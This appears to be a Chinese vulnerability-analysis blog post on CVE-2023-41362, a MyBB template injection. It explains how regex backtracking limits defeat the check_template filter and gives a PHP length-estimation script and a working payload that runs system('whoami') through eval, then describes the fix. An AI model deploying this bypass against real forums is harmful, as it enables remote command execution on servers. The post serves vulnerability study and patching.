问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2023-41362 mybb模板注入漏洞分析
漏洞分析
MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。
CVE-2023-41362 mybb模板注入漏洞分析 =========================== 前言 -- MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。 漏洞功能分析 ------ 漏洞位于后台的模板编辑处,可以绕过安全限制注入恶意代码导致命令执行漏洞。 修改任一模板(以online模板为例)点击保存 ![image-20240904103907941](https://shs3.b.qianxin.com/butian_public/f57847244d11191e63f4eb8cee984550700c2a40aaa48.jpg) 请求url为https://xxx.com/Upload/admin/index.php?module=style-templates&action=edit\_template&title=online&sid=1&expand=16 ```php module=style-templates action=edit_template ``` 定位/Upload/admin/index.php文件,代码通过接受module参数(style-templates),并以”-”分割存入数组分别最终赋值给$run\_module(style)和$action\_file(templates) ![image-20240904112425947](https://shs3.b.qianxin.com/butian_public/f1301408589aceceb8d569f165a02e5ff616071608283.jpg) 并最终使用require包含($modules\_dir为默认的安装位置) ![image-20240904112916427](https://shs3.b.qianxin.com/butian_public/f153270b70e1812a87408b170efe1e75eea0f0a75fc6c.jpg) 定位到/Upload/admin/modules/style/templates.php 接收action参数,执行动作为编辑模板时,先进入一个安全检查, ![image-20240904113414588](https://shs3.b.qianxin.com/butian_public/f55846848a0b0f9c762822484c8313a167cee1b1e1de1.jpg) 随后模板数据在数据库中完成更新 ![image-20240904145952395](https://shs3.b.qianxin.com/butian_public/f103378a9bfc364f445f1996e4a8b85bf34c291283da1.jpg) 而在访问对应的模板文件时,通过eval函数执行模板内容 ![image-20240904145318227](https://shs3.b.qianxin.com/butian_public/f988117737c8cb4e6b49492aa197aeb46450581eb3a1a.jpg) 所以模板注入有两种方案,要么绕过check\_template的限制注入恶意代码,要么通过sql注入直接在数据库执行sql语句向模板中写入恶意代码。 check\_template的实现如下 ```php function check_template($template) { // Check to see if our database password is in the template if(preg_match('#\$config\[(([\'|"]database[\'|"])|([^\'"].*?))\]\[(([\'|"](database|hostname|password|table_prefix|username)[\'|"])|([^\'"].*?))\]#i', $template)) { return true; } // System calls via backtick if(preg_match('#\$\s*\{#', $template)) { return true; } // Any other malicious acts? // Courtesy of ZiNgA BuRgA if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))) { return true; } return false; } ``` 第一个正则用于检测模板中是否有数据库账号密码的字段 第二个正则用于检测类似**"$(任意个空白字符){"**格式的恶意代码 第三个正则先是用preg\_replace函数将诸如**"{$a}、{$a->bbb}、{$a\[bbb\]}、{$a\[b\]\[b\]\[b\]}"**等字符替换为空,在匹配是否仍然含有 "**{$(一个或多个任意字符)}**" 通过之前默认的模板文件可以看到,第三个正则主要是用于将合法的模板插值去空后,再检测是否存在恶意插值 ![image-20240904163950861](https://shs3.b.qianxin.com/butian_public/f626170e9900f914ffee130a1ed3885d124ee9a4e294b.jpg) 例如当模板内容为{$system('whoami')}时,就会被第三个正则检测到而拦截。 PS:MYBB开源论坛系统使用的是自定义的模板系统,而不是常见的第三方模板引擎,通过{$变量}表示一个动态插值。 回溯陷阱(Catastrophic Backtracking) ------------------------------- 正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机)。简单来讲,NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。 举个例子 ```php text = ‘huisuxianjing’ regex = ‘i(a|b)’ ``` 在NFA匹配的时候,先用正则中的第一个字符i去匹配,匹配到第一个i后,再用(a|b)去匹配text中第一个i后的s,发现不匹配后,正则退回到i,继续第一个i后的s开始匹配,直至结束。 ![image-20240909182501513](https://shs3.b.qianxin.com/butian_public/f718871196d3bc72a5c15d88add39f10a882417495d92.jpg) 而在DFA匹配的时候,采用的是文本为主导的匹配方式,即从text中的h开始去匹配正则,发现不匹配后,继续从下一个字符去比较,直至text字符串中的第一个i匹配到了正则中的i,再用后面的s去匹配正则的(a|b),发现不匹配后,再用text字符串中的后续值去匹配直至结束。 ![image-20240909181646484](https://shs3.b.qianxin.com/butian_public/f421703e7aca7b56ae9f0a225755f3c3b963a00a30077.jpg) 由于NFA的执行过程存在回溯,所以性能会劣于DFA,但由于其支持更多功能,被大多数程序语言作为了正则引擎,其中就包括php使用的pcre库。 ![image-20240904172032215](https://shs3.b.qianxin.com/butian_public/f221558b5b1d23accb46f6aa3224742f848758d8de607.jpg) NFA的回溯 ![image-20240724154523049](https://shs3.b.qianxin.com/butian_public/f130187b7ba3f53866a20654f91927ac15019ccb47591.jpg) 前两步不必多说,第三步匹配.\*是直接匹配了整个字符串。导致后面没有字符可以和>匹配了,于是发生了第一次回溯,吐出一个字符即最右边的>,此时第三步的.\*匹配的是"\\<d>A\\</d>\\<d>123</d",于是再用正则>去匹配剩下的字符”>“匹配成功。同理此时字符串已经匹配完,\\d+的正则又匹配不到了,于是再次发生回溯,依次吐出字符重新匹配如上图所示,一共发生了8次回溯, 可以看到,在本正则中,回溯的次数与字符串中的数字部分长短有关,数据部分越长,发生回溯的次数就会越多。 如果数字部分的字符足够长,导致回溯次数过多,甚至会引发ReDos,php为了防止ReDos,给回溯次数设置了一个上限,当回溯次数超过了上限时,preg\_match会返回false,而preg\_replace会返回null。 ![image-20240904182638569](https://shs3.b.qianxin.com/butian_public/f8594281158ab28ec4e5f653ac39c8629f02805fbc4f1.jpg) 绕过check\_template ----------------- 因此可以通过构造大量字符使得回溯次数超过上限来绕过check\_template的限制,回忆第三个正则如下 ```php if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))) { return true; } //preg_replace将诸如"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"等字符替换为空 //preg_match检测"{$(一个或多个任意字符)}" ``` 因此只要构造足够长的垃圾字符,使得preg\_replace或者preg\_match达到回溯上限返回null/false,就可以绕过安全限制。 用如下脚本可以大概估算下各需要构造多长的payload。 ```php <?php function checkMacth($preg_match_vaule) { $pattern ='~\\{\\$.+?\\}~s'; $subject ='{$system("whoam"'.str_repeat(".''",$preg_match_vaule).'.'.'"i"'.')}'; return preg_match($pattern,$subject); } $preg_match_vaule=1; // 循环直到 preg_match_vaule 的结果为 false for (; checkMacth($preg_match_vaule) !== false;$preg_match_vaule += 100){ } echo "preg_match_vaule大概值: $preg_match_vaule\n"; //{$system("whoam".''.''.''."i")} function checkReplace($preg_replace_value) { $pattern = '~\{\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_0-9 ]+\\2\\]\s*)*\\}~'; $subject = '{$a'.str_repeat('[0]', $preg_replace_value).'}'; return preg_replace($pattern, '', $subject); } $preg_replace_value = 1; // 循环直到 preg_replace 的结果为 null for (; checkReplace($preg_replace_value) !== null; $preg_replace_value += 100) { } echo "preg_replace_value大概值: $preg_replace_value\n"; //{$a[0][0][0][0]} ?> ``` ![image-20240910101802633](https://shs3.b.qianxin.com/butian_public/f1570063fe7d90b0ee1f62688efa04178f47f3f1a8985.jpg) 测试发现preg\_replace中{$a\[b\]\[b\]\[b\]}类型的值可以以输入最短的字符长度实现最多的回溯次数,只需要5k多个字符,而达到preg\_match的回溯上限则需要90w多个字符。 所以通过在恶意代码后添加一些多维数组例如 ```php {$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]......} ``` 使得正则执行失败,从而进行绕过。 因此写入模板内容如下 ```php {$system('whoami')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0]很多个[0]} ``` 虽然写入成功了但是执行时报错了 ![image-20240904184632460](https://shs3.b.qianxin.com/butian_public/f119730732b17705b892ba58646eaee6b1b0a24e4cd8e.jpg) mybb的模板引无法直接解析{$system('whoami')},因此模仿模板自带的方式找现有的方法去调用下,观察下默认模板的调用方式 ![image-20240904184808446](https://shs3.b.qianxin.com/butian_public/f993688fee093faefc9fd9b7cf06dae9b0900acd0ce33.jpg) 寻找利用$lang已有的方法去调用 ![image-20240904185017942](https://shs3.b.qianxin.com/butian_public/f2042669743c118ca85ffafc36a0a7023a4d140bdf1a8.jpg) ```php {$lang->load((system('whoami'))}{$a[0][0][0][0][0][0][0][0][0]......} ``` ![image-20240904185135447](https://shs3.b.qianxin.com/butian_public/f571780c20d2414c8172cedbb3ada5d3344ccbf1154ba.jpg) 访问触发,成功执行命令 ![image-20240904185259749](https://shs3.b.qianxin.com/butian_public/f48738728acf5dc12459a8c41b8c81feaed5887e418e3.jpg) 漏洞修复 ---- 判断了preg\_match的返回值不能为false,preg\_replace的返回值不能为null。 ![image-20240904185320642](https://shs3.b.qianxin.com/butian_public/f8023186a508f8bc1deb612c4e83305051571cb595c88.jpg)
发表于 2024-11-06 09:00:02
阅读 ( 1209 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
72 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!